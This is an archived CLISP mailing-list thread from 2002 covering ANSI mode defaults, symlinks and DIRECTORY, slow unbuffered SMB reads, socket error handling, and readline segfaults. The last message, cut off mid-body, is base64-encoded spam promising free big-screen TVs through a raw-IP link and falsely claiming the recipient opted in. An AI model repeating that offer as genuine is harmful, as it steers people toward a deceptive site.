but that would just add > complexity where it is not really necessary. >=20 > What do others think? Sam, I would like to see CLISP switch to *ansi* being t by default. At first I would deprecate the nil setting for a couple of releases, giving those who need backwards compatibility time to add a (setf *ansi* nil) to their files, startup scripts or CLISP invocation. A release or two later I would switch everything over to t. ILISP on Debian already starts CLISP with -ansi by default. I would like to see people new to CLISP work with conforming results. These are the people most unlikely to know about/use the -ansi setting. Long time users who need non-conforming functionality are the best people to make the decision that *ansi* should be set to nil. Regards, Adam From ampy@ich.dvo.ru Tue Oct 15 17:49:23 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181cMs-0000xd-00 for ; Tue, 15 Oct 2002 17:48:58 -0700 Received: from ppp6-AS-1.vtc.ru (ppp6-AS-1.vtc.ru [212.16.216.6]) by vtc.ru (8.12.6/8.12.6) with ESMTP id g9G0mNpj016472; Wed, 16 Oct 2002 11:48:25 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <17813235571.20021016114857@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re[2]: [clisp-list] directory, symlinks. In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 15 17:50:02 2002 X-Original-Date: Wed, 16 Oct 2002 11:48:57 +1000 Hello Sam, Wednesday, October 16, 2002, 1:36:18 AM, you wrote: >> > I added :if-does-not-exists to directory in the CVS >> > please try it and comment in >> > thanks. >> >> Yes, this works, but I think that when you list a directory, you >> should get the name of the symbolic link, not the file it points to. > I agree. > Unfortunately for both of us, the x3j13 (the ANSI CL committee) thought > differently and required that DIRECTORY return truenames. And there's no way to know symbolic names of directories ? Also, I cannot tell in windows what broken link points to - to file or directory. I'll assume it points to file. -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Wed Oct 16 05:54:00 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181ngU-0004pq-00 for ; Wed, 16 Oct 2002 05:53:58 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 16 Oct 2002 14:53:25 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <464HSWZW>; Wed, 16 Oct 2002 14:53:24 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] On benchmarking (was: TCP-based Network Server in CL ISP: read-cha r vs. buffering) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 16 05:54:05 2002 X-Original-Date: Wed, 16 Oct 2002 14:53:17 +0200 Todd Sabin wrote: >> Reading 1_000_000 bytes from a larger file (~3MB), >> CLISP TIME reported real time/run time for one run: >> from source: local file Samba/NFS server >> unbuffered 161/132 secs 1866/173 seconds!! >I suspect this has little to do with Windows, per se, and more to do >with the way clisp does I/O on Windows. If you look at >DoInterruptible in win32aux.d, you'll notice that clisp creates (and >destroys) a thread every time through DoInterruptible. Combine that >with an unbuffered stream and the result is that clisp creates and >destroys an OS thread for every character read. I'm not sure if that >would account for all of the difference, but it seems like a very good >place to start... Indeed it sounds very convincing and thus a very bad behaviour of CLISP that ought to change in some future, but I now feel that's not enough to acount for the enormous difference between local and remote reading of files. Invoking task creation overhead for each character (or byte) read should yield the same times in both cases. So this could possibly explain the 161 seconds of the local file test. But not the 1866 seconds. This is corroborated by the cpu% load graphical display which shows 100% activity in the local case (explained by being constantly busy creating tasks) but almost no activity during the remote file test. I further assume that because I'm reading from files and not using socket directly in Lisp, that it's the same low-level functionality of CLISP that is invoked, e.g. stream.d: low_read_unbuffered_handle() and win32aux.d: DoInterruptible(&do_full_read,...) -- and not lowlevel_sock_read() for sockets. Therefore the difference in timing must be accountable to something happening below CLISP: the OS, services or handlers - or interaction between both. From there on, single bytes (payload) traveling across the network seem a resonable explanation of the measurements. This could be caused by MS-Windows network handlers, the Samba server, some configuration switches or whatever. The question then remains why Linux doesn't seem to do single byte reads across the network. Maybe Don can shed light on this? Regards, Jorg Hohle. From tsabin@optonline.net Wed Oct 16 22:06:41 2002 Received: from ool-18bdaf86.dyn.optonline.net ([24.189.175.134] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1822ro-0006Ck-00 for ; Wed, 16 Oct 2002 22:06:41 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id AAA07750; Thu, 17 Oct 2002 00:53:39 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] On benchmarking (was: TCP-based Network Server in CL ISP: read-cha r vs. buffering) References: From: Todd Sabin In-Reply-To: ("Hoehle, Joerg-Cyril"'s message of "Wed, 16 Oct 2002 14:53:17 +0200") Message-ID: Lines: 38 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 16 22:07:02 2002 X-Original-Date: 17 Oct 2002 00:53:38 -0400 "Hoehle, Joerg-Cyril" writes: > Todd Sabin wrote: > >> Reading 1_000_000 bytes from a larger file (~3MB), > >> CLISP TIME reported real time/run time for one run: > >> from source: local file Samba/NFS server > >> unbuffered 161/132 secs 1866/173 seconds!! > > >I suspect this has little to do with Windows, per se, and more to do > >with the way clisp does I/O on Windows. If you look at > >DoInterruptible in win32aux.d, you'll notice that clisp creates (and > >destroys) a thread every time through DoInterruptible. Combine that > >with an unbuffered stream and the result is that clisp creates and > >destroys an OS thread for every character read. I'm not sure if that > >would account for all of the difference, but it seems like a very good > >place to start... > [...] > Therefore the difference in timing must be accountable to something > happening below CLISP: the OS, services or handlers - or interaction > between both. > > From there on, single bytes (payload) traveling across the network > seem a resonable explanation of the measurements. This could be > caused by MS-Windows network handlers, the Samba server, some > configuration switches or whatever. > > The question then remains why Linux doesn't seem to do single byte > reads across the network. Maybe Don can shed light on this? I'd guess the difference is between NFS and SMB, then. The linux NFS implementation is probably reading entire blocks (instead of single bytes) across the network, whether you've asked for them or not, but the windows SMB implementation is only reading single bytes as you ask for them. You can try sniffing the network traffic and seeing if that's the case. Todd From ampy@ich.dvo.ru Wed Oct 16 22:41:24 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1823PJ-0006Lm-00 for ; Wed, 16 Oct 2002 22:41:17 -0700 Received: from 212.16.216.93 ([212.16.216.93]) by vtc.ru (8.12.6/8.12.6) with ESMTP id g9H5d6m2030933; Thu, 17 Oct 2002 16:39:13 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1841018093.20021017163945@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re[4]: [clisp-list] directory, symlinks. In-reply-To: References: <17813235571.20021016114857@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 16 22:42:02 2002 X-Original-Date: Thu, 17 Oct 2002 16:39:45 +1000 Hello Sam, Wednesday, October 16, 2002, 11:26:02 PM, you wrote: >> And there's no way to know symbolic names of directories ? > what for? For those people who implement os shells on lisp. >> Also, I cannot tell in windows what broken link points to - to file or >> directory. I'll assume it points to file. > if it is broken, it does not matter where it points to - we use the > original name. Ah, well... Got it... -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 17 06:54:38 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182B6i-00011U-00 for ; Thu, 17 Oct 2002 06:54:37 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 17 Oct 2002 15:54:23 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <464H4T9C>; Thu, 17 Oct 2002 15:54:23 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] On benchmarking: SMB sends 1 byte requests across th e network MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 17 06:55:04 2002 X-Original-Date: Thu, 17 Oct 2002 15:54:17 +0200 Todd Sabin wrote: >> >> Reading 1_000_000 bytes [one by one on MS-Windows2k], >> >> reported real time/run (or "system") time: >> >> from source: local file Samba/NFS server >> >> unbuffered 161/132 secs 1866/173 seconds!! >I'd guess the difference is between NFS and SMB, then. The linux NFS >implementation is probably reading entire blocks (instead of single >bytes) across the network, whether you've asked for them or not, but >the windows SMB implementation is only reading single bytes as you ask >for them. You can try sniffing the network traffic and seeing if >that's the case. I installed ethereal (www.ethereal.com) which I was recommended and can now confirm: Each SMB request for one byte of the file takes 117 bytes and every answer is 118 bytes long on the network. That's 235 times overhead! My conclusion (unchanged): use buffering in your application! You never know what the OS is going to do on unbuffered/small calls on file/pipe/sockets. Whether one should thank an application for doing buffering and thus behaving well in many environments or thank the Linux environment (or NFS?) for allowing unbuffered applications not to perform too badly is open to debate. Regards, Jorg Hohle. From wgf1pal@rtc.bosch.com Thu Oct 17 15:51:55 2002 Received: from gwa2.fe.bosch.de ([194.39.218.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182JUf-0008TD-00 for ; Thu, 17 Oct 2002 15:51:54 -0700 Received: (from uucp@localhost) by gwa2.fe.bosch.de (8.10.2/8.10.2) id g9HMpih22100 for ; Fri, 18 Oct 2002 00:51:44 +0200 (MET DST) X-Authentication-Warning: gwa2.fe.bosch.de: uucp set sender to using -f Received: from fez8020.fe.internet.bosch.com(virus-out2.fe.internet.bosch.de 10.4.4.20) by gwa2.fe.bosch.de via smap (V2.1) id xma022033; Fri, 18 Oct 02 00:51:09 +0200 Received: from 10.25.58.5 by fez8020.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Fri, 18 Oct 2002 00:41:51 +0200 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id PAA10919; Thu, 17 Oct 2002 15:52:36 -0700 (PDT) Message-ID: <3DAF3EBB.20106@rtc.bosch.com> From: "Fuliang Weng (RTC)" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us, zh-cn, zh-tw MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Fuliang Weng Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] exception handling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 17 15:52:06 2002 X-Original-Date: Thu, 17 Oct 2002 15:50:35 -0700 Hello all, I am looking for any info regarding exception handling in clisp. The problem is like this: I have two programs running on two sides (server and client) of a socket. When the server crashes, any attempt by the client to send or receive a message would lead to the client's crash. I would like to have a solution so that the client can detect the crash of the server, and wait for its recovery instead of simple crash and restart. Please let me know if you have any good solution to this. Thank you very much. --Fuliang From kaz@footprints.net Thu Oct 17 16:06:44 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182Jj1-0002vS-00 for ; Thu, 17 Oct 2002 16:06:43 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 182Jiv-0004Rb-00; Thu, 17 Oct 2002 16:06:37 -0700 From: Kaz Kylheku To: "Fuliang Weng (RTC)" cc: clisp-list@lists.sourceforge.net, Fuliang Weng In-Reply-To: <3DAF3EBB.20106@rtc.bosch.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: exception handling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 17 16:07:10 2002 X-Original-Date: Thu, 17 Oct 2002 16:06:37 -0700 (PDT) On Thu, 17 Oct 2002, Fuliang Weng (RTC) wrote: > (server and client) of a socket. When the server crashes, any attempt by > the client to send or receive a message would lead to the client's > crash. Huh? Maybe the client is dying due to an unhandled SIGPIPE after writing on the socket? > I would like to have a solution so that the client can detect the > crash of the server, and wait for its recovery instead of simple crash > and restart. If you can turn the socket error into a condition, then you have the condition handling system in Lisp at your disposal. The code surrounding the socket operation has the expertise on how to reconnect to the server, or on how to recover itself if that is not wanted. To choose the course of action, it can provide restarts for all of them and signal an error, to get advice from higher level code. Read about restart-case, handler-bind, invoke-restart, error, define-condition, signal and friends. From ortmage@gmx.net Thu Oct 17 19:07:14 2002 Received: from edgar.colorado.edu ([128.138.129.87]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182MXg-0002wc-00 for ; Thu, 17 Oct 2002 19:07:12 -0700 Received: from gmx.net (arnt21-36-dhcp.resnet.Colorado.EDU [128.138.21.36]) by edgar.colorado.edu (8.11.2/8.11.2/ITS-5.0/student) with ESMTP id g9I276B10862 for ; Thu, 17 Oct 2002 20:07:06 -0600 (MDT) Message-ID: <3DAF6CCA.2010700@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Just a random question.... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 17 19:08:04 2002 X-Original-Date: Thu, 17 Oct 2002 20:07:06 -0600 What do you suppose it would take to make clisp into a mozilla plug-in? It needs to be compiled as a dynamic library to be loaded as a plug-in and have a few functions accessable for initialization... -Scott Williams From vvzhy@mail.ru Fri Oct 18 06:16:25 2002 Received: from mx1.mail.ru ([194.67.57.11]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182WzH-00026I-00 for ; Fri, 18 Oct 2002 06:16:23 -0700 Received: from drweb by mx1.mail.ru with drweb-scanned (Exim MX.1) id 182WzD-000M4P-00 for clisp-list@lists.sourceforge.net; Fri, 18 Oct 2002 17:16:19 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx1.mail.ru with esmtp (Exim SMTP.1) id 182Wyy-000Lne-00 for clisp-list@lists.sourceforge.net; Fri, 18 Oct 2002 17:16:04 +0400 Message-ID: <3DB017A2.20505@yandex.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: Clisp List Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp 2.30 and readline problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 18 06:17:02 2002 X-Original-Date: Fri, 18 Oct 2002 17:16:02 +0300 Hi! I experience some readline related problems with clisp 2.30 CVS. Pressing Tab to get command completion always causes segfault. As far as I can remember clisp 2.30 release notes mention readline 4.3 but I have older readline 4.2a. -- Vadim V. Zhytnikov From lisp-clisp-list@m.gmane.org Fri Oct 18 07:07:29 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182Xmh-0007NT-00 for ; Fri, 18 Oct 2002 07:07:27 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 182Xln-0007Xf-00 for ; Fri, 18 Oct 2002 16:06:31 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 182Xlm-0007XW-00 for ; Fri, 18 Oct 2002 16:06:30 +0200 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 22 Message-ID: References: <3DB017A2.20505@yandex.ru> Reply-To: sds@gnu.org NNTP-Posting-Host: pool-151-203-41-208.bos.east.verizon.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1034949990 20715 151.203.41.208 (18 Oct 2002 14:06:30 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Fri, 18 Oct 2002 14:06:30 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: clisp 2.30 and readline problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 18 07:08:04 2002 X-Original-Date: 18 Oct 2002 10:07:48 -0400 > * In message <3DB017A2.20505@yandex.ru> > * On the subject of "clisp 2.30 and readline problems" > * Sent on Fri, 18 Oct 2002 17:16:02 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > I experience some readline related problems with clisp 2.30 CVS. is it release 2.30 or the current CVS head? what is your platform? > Pressing Tab to get command completion always causes segfault. > As far as I can remember clisp 2.30 release notes mention > readline 4.3 but I have older readline 4.2a. -- Could you please './configure --with-debug' and give me the backtrace? Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux He who laughs last thinks slowest. From dave@synergy.org Fri Oct 18 08:34:19 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182Z8l-0000sr-00 for ; Fri, 18 Oct 2002 08:34:19 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Fri, 18 Oct 2002 08:34:18 -0700 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 18 Oct 2002 15:34:18.0508 (UTC) FILETIME=[D2A97CC0:01C276BB] Subject: [clisp-list] Follow-up TCP-based Network Servers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 18 08:35:02 2002 X-Original-Date: Fri, 18 Oct 2002 08:34:17 -0700 I have completed the port of my network server from C to Common LISP. As you may recall, I started with CLISP (because I was familiar with it and because I liked the implementation). After running into a few road-blocks, I decided to port it to CMUCL as a tool for comparison. (My experience with CMUCL in the past was not very pleasant.) I can now make the following generalizations about CLISP/CMUCL from the standpoint of a single-threaded TCP-based network server: 1. Sockets. Both implementations (via their FFI) can provide reasonable bindings to sockets. Definitely avoid socket streams, though. For my TELNET server I needed access to: socket, bind, listen, accept, send, recv, close, select, fcntl, setsckopt and getsockopt. All but the send/recv and select interface could be handled with more or less equal facility in CLISP and CMUCL. select() would have been more natural in CLISP, except that it doesn't allow you to create a heap-resident foreign-pointer. If it had, I would have allocated 3 fd-set objects on the heap and re-used them over and over. CMUCL doesn't handle this any better, though. I have to convert bignums into fd-sets for each select() call. CMUCL wins on send/recv. The ability to create SAPs from data arrays is a big win for CMUCL. If possible, CLISP's FFI should be enhanced to provide them IMO. 2. Inrerrupts. CMUCL's interrupt handling is definitely superior. By stealing the SIGALRM handler and defining it as: (lambda () (incf *ticks*)), it become very easy even in a single-thread to interleave time processing with select() processing. 3. I have not played with CMUCL threads. Since my C design was single-threaded already, and I was hoping to use CLISP as my implementation, I decided to keep it single-threaded. However, now that I have it running under CMUCL, I may decide to use MySQL (as opposed to flat files) for my data storage. A multi-threaded environment makes this more palatable (for real-time response reasons). Summary: 1. CLISPs FFI is quite good. It could improve with heap allocated foreign object types and CMUCL's SAPs are a clear win. 2. Being able to attach LISP code to a SIGALRM proved extremely handy, not only as a way to keep track of time in general, but as a way to cause select() to terminate as time events occur. 3. Threads are not necessary, but they're a nice convenience. Sadly, I think I have made the transition to CMUCL for this application. Dave From smk@users.sourceforge.net Fri Oct 18 13:10:43 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182dSC-00081K-00 for ; Fri, 18 Oct 2002 13:10:40 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout0.freenet.de with esmtp (Exim 4.10) id 182dS8-0000We-00 for clisp-list@lists.sourceforge.net; Fri, 18 Oct 2002 22:10:36 +0200 Received: from a1e3a.pppool.de ([213.6.30.58] helo=users.sourceforge.net) by mx0.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 4.10 #1) id 182dS7-0001OI-00 for clisp-list@lists.sourceforge.net; Fri, 18 Oct 2002 22:10:35 +0200 Message-ID: <3DB06AB9.5080004@users.sourceforge.net> From: Stefan Kain User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020903 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Clisp List Subject: Re: [clisp-list] clisp 2.30 and readline problems References: <3DB017A2.20505@yandex.ru> X-Enigmail-Version: 0.63.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 18 13:11:04 2002 X-Original-Date: Fri, 18 Oct 2002 22:10:33 +0200 Hello, I experienced the same problem. Vadim V. Zhytnikov wrote: > Hi! > > I experience some readline related problems with clisp 2.30 CVS. > Pressing Tab to get command completion always causes segfault. > As far as I can remember clisp 2.30 release notes mention > readline 4.3 but I have older readline 4.2a. After I had installed libsigsegv and readline 4.3 and recompiled clisp, the problems disappeared. I cannot say which one was the real problem solver, the new libsigsegv or the new readline library. Maybe give readline-4.3 a try, first. If the segmentation fault is still triggered, compile with libsigsegv (1.8 is the current release) Bye, Stefan From oabtafbqelx@internet.com Sat Oct 19 01:34:58 2002 Received: from [218.4.90.227] (helo=internet.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182p4T-00011r-00 for ; Sat, 19 Oct 2002 01:34:57 -0700 Message-ID: From: "oabtafbqelx" To: "clisp-list" Reply-to: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_oabtafbqelx.1035016467" X-Priorty: 3 X-MSMail-Priorty: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [clisp-list] 1000 PRIZES AT WINBIGSCREENS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 19 01:35:04 2002 X-Original-Date: Sat, 19 Oct 2002 16:34:33 +0800 This is a multi-part message in MIME format. ------=_NextPart_oabtafbqelx.1035016467 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: base64 PEhUTUw+PEJPRFk+PEI+RlJFRSBCSUcgU0NSRUVOIFRWJ1M8L0I+PEJSPjxCUj4NCg0KVGhhdJJz IHJpZ2h0LCB3aXRoIHRoZSBzdWNjZXNzIG9mIHRoZSBGbGF0c2NyZWVuIGFuZCBIRFRWIGFuZCB0 aGUgc2xvd2luZyBvZiBjb25zdW1lciBzcGVuZGluZyBhbmQgdGhlIFVTIEVjb25vbXksIHRoZXJl IGlzIGEgd29ybGR3aWRlIG92ZXJzdG9jayBvZiBCaWcgU2NyZWVucy4gIE1hbnkgY29tcGFuaWVz IHdpbGwgZG8gYW55dGhpbmcgdG8gZ2V0IHlvdSB0byBjb25zaWRlciB1cGdyYWRpbmcgeW91ciB0 ZWxldmlzaW9uIHRvIG5ld2VyIG1vZGVscy4gIFNvIHRoZXkgYXJlIGdpdmluZyBhd2F5IGFsbW9z dCAxIE1pbGxpb24gQmlnIFNjcmVlbnMgdGhpcyB5ZWFyIHRocm91Z2ggdmVyeSBhZ2dyZXNzaXZl IG1hcmtldGluZyBlZmZvcnRzLiAgMSBvdXQgb2YgMjAwMCBwZW9wbGUgdG8gZW50ZXIgdGhpcyBj b250ZXN0IHdpbGwgd2luIGEgYmlnIHNjcmVlbi4gIEVudGVyIGFzIG1hbnkgdGltZXMgYXMgeW91 IGxpa2UuICBPbmNlIHBlciBtb250aC4NCg0KPGEgaHJlZj0iaHR0cDovLzIxOC41Ljc3LjExMy93 aW5iaWdzY3JlZW50dnMuY29tL2luZGV4LnBocCI+RlJFRSBCSUcgU0NSRUVOPC9hPi48YnI+LW9y LTxCUj48Qk9EWT48L0hUTUw+DQpodHRwOi8vMjE4LjUuNzcuMTEzL3dpbmJpZ3NjcmVlbnR2cy5j b20vaW5kZXgucGhwDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0NClRoaXMgZW1haWwgaGFzIGJlZW4gc2VudCB3aXRoIHRoZSBwZXJt aXNzaW9uIG9mIHRoZSBzZW5kZWUuICBUaGUgcmVjaXBpZW50IGhhcyBvcHQtaW4gdG8gcmVjZWl2 ZSBpbnRlcm5ldCBvZmZlcnMgZnJvbSBJbnRlck5ldE9mZmVyc1hQLCBJTkMuICBJZiB0aGlzIGVt YWlsIGhhcyByZWFjaGVkIHlvdSBpbiBlcnJvciwgb3IgeW91IG5vIGxvbmdlciB3aXNoIHRvIHJl Y2VpdmUgZW1haWxzIGZyb20gdGhpcyBvZmZlciwgcGxlYXNlIDxhIGhyZWY9Imh0dHA6Ly8yMTgu 